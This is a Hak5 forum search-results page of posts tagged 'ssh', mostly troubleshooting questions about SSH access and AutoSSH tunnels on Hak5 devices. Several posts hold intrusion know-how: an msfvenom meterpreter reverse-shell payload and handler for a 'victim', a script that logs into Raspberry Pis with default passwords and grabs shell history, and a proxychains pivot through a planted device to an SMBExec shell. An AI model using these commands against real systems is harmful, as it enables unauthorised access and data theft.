Jump to content
Hak5 Forums

Search the Community

Showing results for tags 'ssh'.



More search options

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Talk
    • Everything Else
    • Gaming
    • Questions
    • Business and Enterprise IT
    • Security
    • Hacks & Mods
    • Applications & Coding
    • Trading Post
  • WiFi Pineapple
    • WiFi Pineapple TETRA
    • WiFi Pineapple NANO
    • WiFi Pineapple Mark V
    • WiFi Pineapple Mark IV
    • Pineapple Modules
    • WiFi Pineapple University
    • WiFi Pineapples Mark I, II, III
  • Hak5 Gear
    • Bash Bunny
    • Packet Squirrel
    • LAN Turtle
    • USB Rubber Ducky
  • Hak5 Shows
    • Hak5
    • HakTip
    • Metasploit Minute
    • Threatwire
  • Community
    • Forums and Wiki
    • #Hak5
  • Projects
    • SDR - Software Defined Radio
    • Community Projects
    • Interceptor
    • USB Hacks
    • USB Multipass
    • Pandora Timeshifting

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


AIM


MSN


Website URL


ICQ


Yahoo


Jabber


Skype


Location


Interests

Found 21 results

  1. Hello forum, I'm trying to create an ssh tunnel between my turtle and my ssh server (which I configured properly to avoid to buy a specific vps), so following the tutorial video... https://www.youtube.com/watch?v=uIdvvrDrRj0 instead to buy a vps I configured my own ssh server on parrot security os , also setting options with no-ip and ssh port it's 1986 already port forwarded on my router... So if I try to connect to my own "vps" using ssh from another terminal, connection works properly but also turtle seems to connect to my server , however autossh connection does not work I'll show you my configurations screens below (with comments)... p.s I added user called turtle to connect my turtle to my server ... what doesn't work is when I try to : ssh root@localhost -p 2222 from another terminal to connect to my lan turtle. screens: generating my keys (I repeat that I'm using te port 1986 because already port forwarded and it works , so it isn't the problem): https://imgur.com/sJ2tUBC as you can see my ssh server works properly... let's configure lan turtle... https://imgur.com/EpzLOuL i set host port and user that works as shown above https://imgur.com/7rtAQa7 These are the generated keys on server so I copied them with copy_key always in auto ssh configuration (are double because I generated them 2 times in order to test) https://imgur.com/pUj6eQv At least the ssh auto configuration (should be these based on my configurations but I don't understand if I save in a second moment appears strage characters like ' in "Port") https://imgur.com/UoKmcRP From another terminal I should be able to connect to lan turtle connecting to turtle ssh account and than on root@localhost but 2222 port seems not working and if I try for 1986 it appears root of ssh server and not of lan turtle..no turtle shell appears and no connection is successfully established.... I repeat that connection between lan turtle and my open ssh server seems work, anyway there is something wrong.... Is maybe because I have to configure some advanced options in the ssh linux server file (/etc/ssh/ssh_config) ? Help me , let me understand what is going wrong guys, thank you.
  2. For a larger project, I am exploring the use of Powershell to automate network tasks. In the enclosed script, I am assuming someone has a Raspberry Pi named PiM3.local with default username and password on my local network. I use Posh-SSH which can be installed within Powershell by Install-Module Posh-SSH . I then execute a command with SSH, grab the .bash-history and put a new file in the Pi. One could, of course, use nmap to find computers with port 22 and then proceed with something like this to see what happens. One could of course use the wifi pineapple to ... and so on. Are there loose pi's where you live? RaspberySFTP.ps1
  3. fearherbs1

    Using tools over SSH Nano

    Hey guys is there a way to use the tools on the Nano over ssh? When I try to use reaver for example this is the output I get: root@Pineapple:~# opkg install reaver --dest sd Package reaver (1.6.3-1) installed in sd is up to date. root@Pineapple:~# reaver -ash: reaver: not found root@Pineapple:~# I also tried to cd to the sd directory and obtained the same result: root@Pineapple:/sd# opkg install reaver --dest sd Package reaver (1.6.3-1) installed in sd is up to date. root@Pineapple:/sd# reaver -ash: reaver: not found root@Pineapple:/sd# Any help would be greatly appreciated :).
  4. The latest version is a tad twisted. Once booted, you will not be able to SSH to it. If you have a monitor, mouse and keyboard, you only need to gparted to extend the image into the full range of your SD Card (at the end of this post) First, you will have to establish serial hardware capability to the Pi. I used this product from Adafruit. make sure that what you use is 3.3v - NOT TTL or 5v signals. A gadget such as this is very handy if you are doing anything with the Pi. https://learn.adafruit.com/adafruits-raspberry-pi-lesson-5-using-a-console-cable/connect-the-lead The connection is on the outer edge of the Pi, on the end furthest from the USB and RJ45 connector The connections from furthest in towards the connectors are: NC (unless 5 volts is desired) NC White (TXD) Green (RXD) Plug USB serial into your computer On your computer: connect to the USB serial port with Putty or whatever. Power up the Pi If all is well, you should see lots of console stuff. (If not you either ruined your Pi with 5v or you have TXD and RXD swapped) With reference to this: https://forums.kali.org/showthread.php?38351-Unable-to-SSH-into-Kali-Linux-on-Raspberry-Pi-3 Do this: dpkg-reconfigure openssh-server You can now SSH to your Pi with Putty or whatever. I recommend that with the USB serial, you continue with that though. Next you will have to establish the tight VNC Server (not the x11vnc Kali recommends in their instructions) TightVNC is what the metapackage will later install. You need VNC to run gparted and expand the image into your SD card so there is space to install the rest. sudo apt-get install tightvncserver sudo apt-get install gparted tightvncserver :1 connect with vnc gparted from GUI terminal emulator extend ext4 fully to provide space for the install. You are now read to install the rest of Kali. for a 16gb - 32gb card, I recommend the following: sudo apt-get kali-linux-full This will take A LONG TIME. This is another reason to use a USB Serial solution as it will continue even if the SSH connection is broken. During the first 45 minutes or so, you will be asked questions. You will need to answer them to keep it going. For more info on different packages and their sizes, go here: https://www.kali.org/news/kali-linux-metapackages/
  5. My kali machine is in a LAN, in order to get a reverse connection from the victim outside the LAN, I set up a remote ssh tunnel ssh -N -R 45679:localhost:45679 user@aaa.aaa.aaa.aaa -p 45678 The ssh server is also inside another LAN, but port forwarding is possible, so I forwarded 45678 as ssh port, and 45679 as the reverse connection port. Tested with netcat, and apache server, worked. Now, here is the configuration of the malware generated by msfvenom msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=aaa.aaa.aaa.aaa LPORT=45679 -f exe -o mal.exe And here is the multi/handler configuration under msf msf exploit(handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.0.102 yes The listen address LPORT 45679 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target Then I exploit, nothing happens on the handler, no session receive, but the ssh terminal continuously showing the following message once I run the malware on the victim machine connect_to localhost port 45679: failed. connect_to localhost port 45679: failed. connect_to localhost port 45679: failed. I did a scan on aaa.aaa.aaa.aaa:45679, no open port discovered. Since NC and apache test works, SSH tunnel should be functioning properly, so it is the handler's problem? My thought is, the multi handler is somehow not listening/connecting to the tunneled port, but I am not sure how could that happen, doesn't remote ssh tunnel automatically apply to global once the command is running? Any ideas, or workarounds? This should be a FAQ, yet, couldn't find right way... Thank you
  6. entropy1024

    One port too far

    Hello all. I have been watching the LAN Turtle 104 - Persistent Shell Access with AutoSSH video at https://www.youtube.com/watch?v=uIdvvrDrRj0 and at 5:15 it shows three fields for the setup, they are User@host, Remote Port & Local port. On my Turtle, which is probably a newer version of firmware than the one in the video, there is a fourth field simply named Port. As I understand it the Turtles local port is 22. It connects to the host via port 2222. Therefore on the host if you SSH to port 2222 it connects to the Turtle on it's port 22 through the 2222 tunnel. So you need a local port (22) and remote port (2222) to make this work, as shown in the demo video above. What is this extra field named 'Port' that I have, and what should it be set too? I entered 22 for this port and it all works. Just not clear what it's purpose is. Many thanks for any help. Tim
  7. cyberman

    Can't ssh in the squirrel

    I received my new squirrel. Did succesfully update firmware to v1.1, did also succesful packet capture in tcpdump mode with USB disk. But i cannot ssh into the squirrel. I connected computer to the Ethernet In Port of the squirrel (that one near USB port), computer gets IPv4 address via dhcp from squirrel (172.16.32.259). I can ping the squirrel on 172.16.32.1, but ssh does not open a console (using putty.exe on a Windows computer). Am i too dumb?
  8. luke-spademan

    SSH not working

    I have just done the first setup of my LAN turtle following the instructions provided in YouTube video. I then went to ssh into my LAN turtle. I am 99% percent sure the password I typed is correct. but I get Permission denied (publickey, password, keyboard-interactive). I have never seen the keyboard-interactive part before. Can I access my LAN turtle without removing the screws under the sticker as this reuins the look? Thankyou luke-spademan
  9. Hello just received my Packet Squirrel and was trying to use putty to set it up, but unfortunately I could not find a com port assigned from my device or task manager. Running windows 7 and thought it to be minor error, anyone know of another way to obtain the port number?
  10. gottdestodes

    SSH tunnel

    I'm hoping someone can help with this. I would like to setup a script that once my nano is connected to the internet to have it create an SSH tunnel to my existing SSH server. I would like all traffic to go through the SSH tunnel back to my server. I sometimes use my pineapple on open networks. The other reason i would like to do this is my tv provider has an app that lets me watch tv on my phobe but you have to be on your home network to view it. I have setup openvpn access server to try to accomplish this outside of my network bit somehow the software detects that and does t let me view live tv. I found an app on my android that creates a VPN SSH tunnel back to my SSH server and now I can view live tv outside of my network. So I would like to create a script to help with this This is for taking the time to read this. Any help would be great. Mark
  11. WatskeBart

    [SOLVED] SSH into RNDIS_ETHERNET

    When running the following payload: LED G ATTACKMODE RNDIS_ETHERNET And try to SSH into the bunny (172.16.64.10) with Putty. As root I always get 'Access Denied' I've change the default password using attackmode serial but that password is not working for SSH. I even set it back to the default hak5bunny password, but still no joy. What am I missing here?
  12. Hello I am thinking of buying a smash rabbit and I want to find out a way to ssh into it. I heard that if I want to SSH into the rabbit I have to "waste" a payload for the bunny to emulate RNIDS_ETHER. Is this correct? Or is there some other way for it to emulate a usb-to-ethernet adapter upon boot without having to use a payload? I dunno, stick something in the .profile? Thanks!
  13. HarambeCute

    Bash Bunny SSH?

    Hi, if I install avahi-daemon and put ATTACKMODE RNIDS_ETHER in something like .bashrc or .profile, can I SSH into the bunny with sudo ssh root@bunny.local? I greatly prefer SSH over serial so I would really like my method above to work. I don't own a bash bunny, although I might buy it at some point, I'm just considering. Thanks!
  14. So I received my Wifi Pineapple NANO a few days ago and it worked fine on first try, I got on to the web interface and reached the point of updating the firmware and I think I may have messed up. Now whenever I plug the nano in, the light flashes twice holds for about 5 seconds then turns off, I can't ssh to it, I can't get the web interface and I can't see it as a wifi network. Any advice?
  15. Rurn

    Wireshark SSH Tunnel

    Hey all, I'm new, had the LAN turtle for about three weeks and I'm loving it. I have limited knowledge of the RF spectrum and I'm new to networks etc, but I've learnt so much by solving problems as I've gone along. However one thing I'm stuck with is setting up an SSH tunnel to the turtle remotely, in order to get a more diverse capture than I believe URLsnarf is capable of. Current setup Windows 10 putty (and/or Kali in Vbox) SSH to a digitalocean VPS SSH into my turtle remotely. I've searched the forums and googled for "wireshark remote ssh capture" etc, but everything I find seems either irrelevant or goes way over my head. From what I did understand it seems like I may not be able to do it. And I figured if it was possible, wouldn't everyone be using Wireshark instead of URLSnarf (which seems basic to me) Questions Do any of you gurus know if it is possible to get a relatively comprehensive live capture from the LAN turtle via SSH? Has anyone done this yet?
  16. ===========================SOLUTION============================== Generate the following payload without STORAGE in the attackmode. #!/bin/bash LED G ATTACKMODE ECM_ETHERNET Thanks to Fang_Shadow, I've learned that using storage in concert ECM_ETHERNET prevents the system from pulling an IP (for what reason I still don't understand - I'm guessing it's just a bug). I have had some issues with SSH but according to ifconfig (on local system) I see the interface is up and nmap scans show port 22 is open on the new IP, I'll update this post if anything changes. =================================================================== Endgoal: I want to ssh from host machine into my BashBunny, then pivot from my BashBunny to a remote cloud hosted webserver, and write a testfile to that server. Host System Used: Debian Linux Crux: I am unable to acquire an ip address for my BashBunny using bb.sh Attempts: 1. I tried to perform these actions from Arming Mode using the serial connection, however I learned that I am not able to share my network connection from serial mode and that Arming Mode only allows: Serial and Storage 2. I attempted to run the default payload in order to gain network connectivity: #!/bin/bash LED G ATTACKMODE ECM_ETHERNET STORAGE My understanding of this code is that it will indicate it is ready when there is a solid green light (LED G) and that it will facilitate Ethernet connectivity and Storage (Last line), it is also my understanding that this initializes a new network interface that can be seen with the commands "ip addr" or "ifconfig -a". However this new interface does not appear to be configured yet and attempting to run the command ssh root@172.16.64.1 does not result in the expected login prompt and eventually times out. 3. I've also attempted to run the bb.sh in order to share my hosts network connection, despite not being able to ssh into 172.16.64.1 IP. The script appears to work until you attempt to connect with it, and then it just hangs. Any ideas on how to ssh into the BashBunny? Thanks, Jay
  17. Gazzer96

    Permission Denied (publickey)

    I am a complete noob at this, so I could be doing something completely wrong. Just got the Lan turtle today. Plugged it in with a phone charger meeting minimium power requirements and connected it to a PC with an OTG ethernet-to-USB adapter. Had to setup the network connection manually (on Ubuntu 16.10) with: IP - 172.16.84.1, Netmask - 255.255.255.0, Gateway - 192.168.1.1, DNS Servers - 208.67.222.222 and 208.67.220.220. After that, I check the connection with ifconfig and everything appears to be OK, so I finally tried connecting to the Lan Turtle. :$ ssh root@172.16.84.1 Permission denied (publickey). I have setup openssh on a few of my PCs for ssh-key authentication only, but this the first time using the Lan Turtle. Also realised I cannot browse on the internet while it is connected, even with wifi and another wired connection available. I have searched around to see if there is a fix for this, but I canot find anything.
  18. luke-spademan

    Auto SSH not working

    I have followed Hak5's YouTube instructions in LAN turtle basics of how to setup auto SSH. I have a remote server. SSH works if the lanturtle is plugged into the device sshing into it. However auto ssh does not work unless I type iptables -I INPUT 1 -i eth1 -p tcp --dport 22 -j ACCEPT But if I reboot the LAN turtle cannot ssh into it from my remote server, unless I rerun the iptables command Putting iptables -I INPUT 1 -i eth1 -p tcp --dport 22 -j ACCEPT in /etc/firewall.user does not help any ideas?
  19. Hey guys, i was checking the System Log as I saw the following entries: auth.err sshd[2499]: error: Could not load host key: /etc/ssh/ssh_host_ecdsa_key auth.err sshd[2499]: error: Could not load host key: /etc/ssh/ssh_host_ed25519_key I recently made a fresh factory reset and update to 1.0.6. SSH into the pineapple is possible, but I wonder why the keys were not generated. Anyone else with this error message?
  20. Torkast

    About the LanTurtle

    Hello! After reading about the LanTurtle and watching the videos for it i have a few questions about the product before i purchase it. Lets make the example that i have successfully installed the LanTurtle on a targeted computer. I've got remote SSH connection to Turtle and a meterpreter session active. As i've understood correctly the lanturtle is the only equipment on the network i have access to and not even the computer it is attached to! So if i want to get access to computers on the network i could use the meterpreter session and launch attacks to the computers from the turtle and get a new meterpreter into the new computer and work from there? If there is a vulnerable computer on the network of course. Can the Turtle which is connected to the network also visit network folders/disks? Let's say there is a computer/Server sharing files and its accessible by anyone on the network. Can the Turtle access these network folders if they are open for the network the Turtle is connected to and transfer these files to the SSH server forexample? I'm pretty new to metasploit but still learning how it works and how it would work out with the LanTurtle the practical way. Also a great tool when i perform pentest for the local companies (FYI: legal and paid work, i don't plan to abuse this if someone were to ask ) i mostly do physical testing and assesment and this would be a really good tool for me as my other co-worker do the software/web part.
  21. jxg975

    SSH Socks Proxy through VPS

    Hi all! Just wanted to share something that might help other Lan Turtlers out there. One of the things I wanted to do with my lan turtle was to pivot my tools from my local box through the turtle. One such way is to use proxychains to proxy your local tools through your VPS in the cloud, and out through your turtle. My setup: [Local Kali box] --> (Router) --> [VPS] --> [turtle, which is inside victim network] I ran into trouble trying to figure out how to setup an SSH proxychain to it...found this article which worked right away: https://superuser.com/questions/332850/ssh-as-socks-proxy-through-multiple-hosts I used the first line, which was this command: ssh -f -N -D $PORT -oProxyCommand="ssh -W %h:%p machine-b" machine-c Here, machine-b would be the username@ip_of_VPS_in_cloud and machine-c would be the turtle, which should be root@localhost -p 2222 By replacing the "$PORT" with whatever you want (I used 9050, the default in the proxychains.conf), it would work flawlessly. Basically, what we are doing here is creating a Socks Proxy through SSH that goes through our VPS in the cloud, and then logs into the turtle (which already connects back to that VPS, through AutoSSH). With this tunnel, all you need to do is open up your proxychains.conf (/etc/proxychains.conf) and edit the last line to reflect the port you used. After that, you are all set! In Kali, just prepend "proxychains" before the tool you want to use.....for example! I wanted to be able to use Veil-Pillage from my local Kali box to get a SMBExec shell (because I already had credentials). So, by setting up the tunnel above, I ran root@kali#proxychains ./Veil-Pillage Which would take me to dialogue screen, I chose number 25, set my target (which was 10.13.37.27, a win7 VM) and my creds, and just hit ran! Veil-Pillage: post-explotation framework | [Version]: 1.1.2 ========================================================================= [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework ========================================================================= [*] Executing module: Smbexec Shell... [*] Type 'exit' to exit the shell Trying protocol 445/SMB... Creating service SystemDiag... |S-chain|-<>-***.***.***.***-<><>-10.13.37.27:445-<><>-OK [!] Launching semi-interactive shell - Careful what you execute C:\Windows\system32> And there you have it!! I thought this should be useful for everyone out there. Another way of doing it is to use your metasploit/armitage instance in the VPS, use the meterpreter module, setup the Socks4 proxy, and then setup proxychains to reflect your VPS instance. Don't forget to add route! Let me know your thoughts! TL;DR: SSH socks proxy -- root@kali#ssh -f -N -D $PORT -oProxyCommand="ssh -W %h:%p VPS-in-cloud" turtle-in-VPS then change proxychains.conf, then "proxychains tool"
×